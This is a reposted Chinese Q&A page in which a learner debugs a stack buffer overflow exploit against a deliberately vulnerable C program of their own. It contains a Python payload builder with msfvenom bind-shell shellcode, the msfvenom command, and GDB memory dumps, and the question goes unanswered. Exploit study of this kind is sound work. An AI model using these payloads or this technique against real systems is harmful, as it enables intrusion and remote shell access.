堆栈缓冲区溢出漏洞利用中间的分段错误

问题描述

我正在这里利用这段代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int copytobuffer(char *input)
{
        char buffer[256];
        strcpy(buffer,input);
return 0;
}

void main(int argc,char *argv[])
{
        int local_variable = 0;
        copytobuffer(argv[1]);
        exit(0);
}

是这样编译的

gcc -z execstack -fno-stack-protector buffer.c -o buffer.out

我还关闭了操作系统(64 位 kali)的系统 ASLR

使 input.txt 文件看起来像这样的exploit.py文件

#!/usr/bin/python
from struct import *


buf = "A" * 264   #layer of A

buf += pack("<Q",0x7fffffffe3a8)  #return address

buf += "\x90" * 64    #nop sled

buf += b"\xdb\xd0\xb8\xb6\x36\xf9\x5a\xd9\x74\x24\xf4\x5e\x29" #Shell code
buf += b"\xc9\xb1\x14\x31\x46\x19\x03\x46\x19\x83\xc6\x04\x54"
buf += b"\xc3\xc8\x81\x6f\xcf\x78\x75\xdc\x7a\x7d\xf0\x03\xca"
buf += b"\xe7\xcf\x43\x70\xb6\x9d\x2b\x85\x46\x33\xf7\xe3\x56"
buf += b"\x62\x57\x7d\xb7\xee\x31\x25\xf5\x6f\x34\x94\x01\xc3"
buf += b"\x42\xa7\x6c\xee\xca\x84\xc0\x96\x07\x8a\xb2\x0e\xfd"
buf += b"\xb4\xec\x7d\x81\x82\x75\x86\xe9\x3b\xa9\x05\x81\x2b"
buf += b"\x9a\x8b\x38\xc2\x6d\xa8\xea\x49\xe7\xce\xba\x65\x3a"
buf += b"\x90"

f = open("input.txt","w+") #write to input.txt
f.write(buf)
f.close()

我使用 msfvenom 生成 shellcode

msfvenom -p linux/x86/shell_bind_tcp -b '\x00\x0A\x0D\xFF' -f c LPORT=4444 -f python

当我运行漏洞利用时,它会进入 nop 雪橇并通过 nop 雪橇运行就好了。问题出现在shellcode执行过程中。

这就是 GDB 的样子。

(gdb) run $(cat input.txt)
Starting program: /home/kali/buffer.out $(cat input.txt)

Program received signal SIGSEGV,Segmentation fault.
0x00007fffffffe3dd in ?? ()
(gdb)

这就是内存布局的样子。

0x7fffffffe278: 0x74756f2e      0x41414100      0x41414141      0x41414141  #layer of A's
0x7fffffffe288: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe298: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2a8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2b8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2c8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2d8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2e8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2f8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe308: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe318: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe328: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe338: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe348: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe358: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe368: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe378: 0x41414141      0x41414141      0x41414141      0xffe3a841
0x7fffffffe388: 0x007fffff      0x90909000      0x90909090      0x90909090   #nop sled
0x7fffffffe398: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe3a8: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe3b8: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe3c8: 0x90909090      0xb8d0db90      0x5af936b6      0xf42474d9   #shell code
0x7fffffffe3d8: 0xb1c9295e      0x19463114      0x83194603      0xc35404c6   #SEGFAULT here
0x7fffffffe3e8: 0xcf6f81c8      0x7adc7578      0xca03f07d      0x7043cfe7
0x7fffffffe3f8: 0x852b9db6      0xe3f73346      0x7d576256      0x2531eeb7
0x7fffffffe408: 0x94346ff5      0xa742c301      0x84caee6c      0x8a0796c0
0x7fffffffe418: 0xb4fd0eb2      0x82817dec      0x3be98675      0x2b8105a9
0x7fffffffe428: 0xc2388b9a      0x49eaa86d      0x65bacee7      0x4300903a
0x7fffffffe438: 0x524f4c4f      0x47424746      0x3b35313d      0x4f430030
--Type <RET> for more,q to quit,c to continue without paging--

为什么会发生这种情况,我该如何解决

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)